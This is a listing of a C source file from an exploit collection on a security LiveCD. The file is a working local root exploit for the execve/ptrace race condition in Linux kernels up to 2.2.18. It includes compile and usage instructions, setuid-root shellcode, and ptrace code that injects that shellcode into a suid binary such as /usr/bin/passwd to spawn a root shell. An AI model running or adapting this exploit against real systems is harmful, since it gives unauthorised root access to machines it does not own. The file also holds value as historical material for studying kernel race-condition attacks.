home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / epcs2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  193 lines

  1. /*
  2.  * epcs2 (improved by lst [liquid@dqc.org])
  3.  * ~~~~~~~
  4.  * exploit for execve/ptrace race condition in Linux kernel up to 2.2.18
  5.  *
  6.  * originally by:
  7.  * (c) 2001 Wojciech Purczynski / cliph / <wp@elzabsoft.pl>
  8.  *
  9.  * improved by:
  10.  * lst [liquid@dqc.org]
  11.  *
  12.  * This sploit does _not_ use brute force. It does not need that.
  13.  * It does only one attemt to sploit the race condition in execve. 
  14.  * Parent process waits for a context-switch that occur after 
  15.  * child task sleep in execve.
  16.  *
  17.  * It should work even on openwall-patched kernels (I haven't tested it).
  18.  *
  19.  * Compile it:
  20.  *    cc epcs.c -o epcs
  21.  * Usage:
  22.  *    ./epcs [victim]
  23.  *
  24.  * It gives instant root shell with any of a suid binaries.
  25.  *
  26.  * If it does not work, try use some methods to ensure that execve
  27.  * would sleep while loading binary file into memory,
  28.  *
  29.  *     i.e.: cat /usr/lib/* >/dev/null 2>&1
  30.  *
  31.  * Tested on RH 7.0 and RH 6.2 / 2.2.14 / 2.2.18 / 2.2.18ow4
  32.  * This exploit does not work on 2.4.x because kernel won't set suid 
  33.  * privileges if user ptraces a binary.
  34.  * But it is still exploitable on these kernels.
  35.  *
  36.  * Thanks to Bulba (he made me to take a look at this bug ;) )
  37.  * Greetings to SigSegv team.
  38.  *
  39.  * -- d00t
  40.  * improved by lst [liquid@dqc.org]
  41.  * props to kevin for most of the work
  42.  *
  43.  * now works on stack non-exec systems with some neat trickery for the automated
  44.  * method, ie. no need to find the bss segment via objdump
  45.  *
  46.  * particularly it now rewrites the code instruction sets in the 
  47.  * dynamic linker _start segment and continues execution from there.
  48.  * 
  49.  * an aside, due to the fact that the code self-modified, it wouldnt work
  50.  * quite correctly on a stack non-exec system without playing directly with
  51.  * the bss segment (ie no regs.eip = regs.esp change).  this is much more 
  52.  * automated.  however, do note that the previous version did not trigger stack 
  53.  * non-exec warnings due to how it was operating.  note that the regs.eip = regs.esp 
  54.  * method will break on stack non-exec systems.
  55.  *
  56.  * as always.. enjoy.
  57.  *
  58.  */
  59.  
  60. #include <stdio.h>
  61. #include <fcntl.h>
  62. #include <sys/types.h>
  63. #include <signal.h>
  64. #include <linux/user.h>
  65. #include <sys/wait.h>
  66. #include <limits.h>
  67. #include <errno.h>
  68. #include <stdlib.h>
  69.  
  70. #define CS_SIGNAL SIGUSR1
  71. #define VICTIM "/usr/bin/passwd"
  72. #define SHELL "/bin/sh"
  73.  
  74. /*
  75.  * modified simple shell code with some trickery (hand tweaks)
  76.  */
  77. char shellcode[]=
  78.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  79.     "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"        /* setuid(0) */
  80.     "\x31\xc0\xb0\x2e\xcd\x80"
  81.     "\x31\xc0\x50\xeb\x17\x8b\x1c\x24"        /* execve(SHELL) */
  82.     "\x90\x90\x90\x89\xe1\x8d\x54\x24"        /* lets be tricky */
  83.     "\x04\xb0\x0b\xcd\x80\x31\xc0\x89"
  84.     "\xc3\x40\xcd\x80\xe8\xe4\xff\xff"
  85.     "\xff" SHELL "\x00\x00\x00" ;            /* pad me */
  86.  
  87. volatile int cs_detector=0;
  88.  
  89. void cs_sig_handler(int sig)
  90. {
  91.     cs_detector=1;
  92. }
  93.  
  94. void do_victim(char * filename)
  95. {
  96.     while (!cs_detector) ;
  97.     kill(getppid(), CS_SIGNAL);
  98.     execl(filename, filename, NULL);
  99.     perror("execl");
  100.     exit(-1);
  101. }
  102.  
  103. int check_execve(pid_t victim, char * filename)
  104. {
  105.     char path[PATH_MAX+1];
  106.     char link[PATH_MAX+1];
  107.     int res;
  108.     
  109.     snprintf(path, sizeof(path), "/proc/%i/exe", (int)victim);
  110.     if (readlink(path, link, sizeof(link)-1)<0) {
  111.         perror("readlink");
  112.         return -1;
  113.     }
  114.     
  115.     link[sizeof(link)-1]='\0';
  116.     res=!strcmp(link, filename);
  117.     if (res) fprintf(stderr, "child slept outside of execve\n");
  118.     return res;
  119. }
  120.  
  121. int main(int argc, char * argv[])
  122. {
  123.     char * filename=VICTIM;
  124.     pid_t victim;
  125.     int error, i;
  126.     struct user_regs_struct regs;
  127.  
  128.     /* take our command args if you wanna play with other progs */
  129.     if (argc>1) filename=argv[1];
  130.  
  131.     signal(CS_SIGNAL, cs_sig_handler);
  132.  
  133.     victim=fork();
  134.     if (victim<0) {
  135.         perror("fork: victim");
  136.         exit(-1);
  137.     }
  138.     if (victim==0) do_victim(filename);
  139.  
  140.     kill(victim, CS_SIGNAL);
  141.     while (!cs_detector) ;
  142.     
  143.     if (ptrace(PTRACE_ATTACH, victim)) {
  144.         perror("ptrace: PTRACE_ATTACH");
  145.         goto exit;
  146.     }
  147.     
  148.     if (check_execve(victim, filename))
  149.         goto exit;
  150.  
  151.     (void)waitpid(victim, NULL, WUNTRACED);
  152.     if (ptrace(PTRACE_CONT, victim, 0, 0)) {
  153.         perror("ptrace: PTRACE_CONT");
  154.         goto exit;
  155.     }
  156.  
  157.     (void)waitpid(victim, NULL, WUNTRACED);
  158.     
  159.     if (ptrace(PTRACE_GETREGS, victim, 0, ®s)) {
  160.         perror("ptrace: PTRACE_GETREGS");
  161.         goto exit;
  162.     }
  163.  
  164.     /* make sure that last null is in there */
  165.     for (i=0; i<=strlen(shellcode); i+=4) {
  166.         if (ptrace(PTRACE_POKETEXT, victim, regs.eip+i,
  167.                             *(int*)(shellcode+i))) {
  168.             perror("ptrace: PTRACE_POKETEXT");
  169.             goto exit;
  170.         }
  171.     }
  172.  
  173.     if (ptrace(PTRACE_SETREGS, victim, 0, ®s)) {
  174.         perror("ptrace: PTRACE_SETREGS");
  175.         goto exit;
  176.     }
  177.  
  178.     fprintf(stderr, "bug exploited successfully.\nenjoy!\n");
  179.     
  180.     if (ptrace(PTRACE_DETACH, victim, 0, 0)) {
  181.         perror("ptrace: PTRACE_DETACH");
  182.         goto exit;
  183.     }
  184.  
  185.     (void)waitpid(victim, NULL, 0);
  186.     return 0;
  187.     
  188. exit:
  189.     fprintf(stderr, "d0h! error!\n");
  190.     kill(victim, SIGKILL);
  191.     return -1;
  192. }
  193.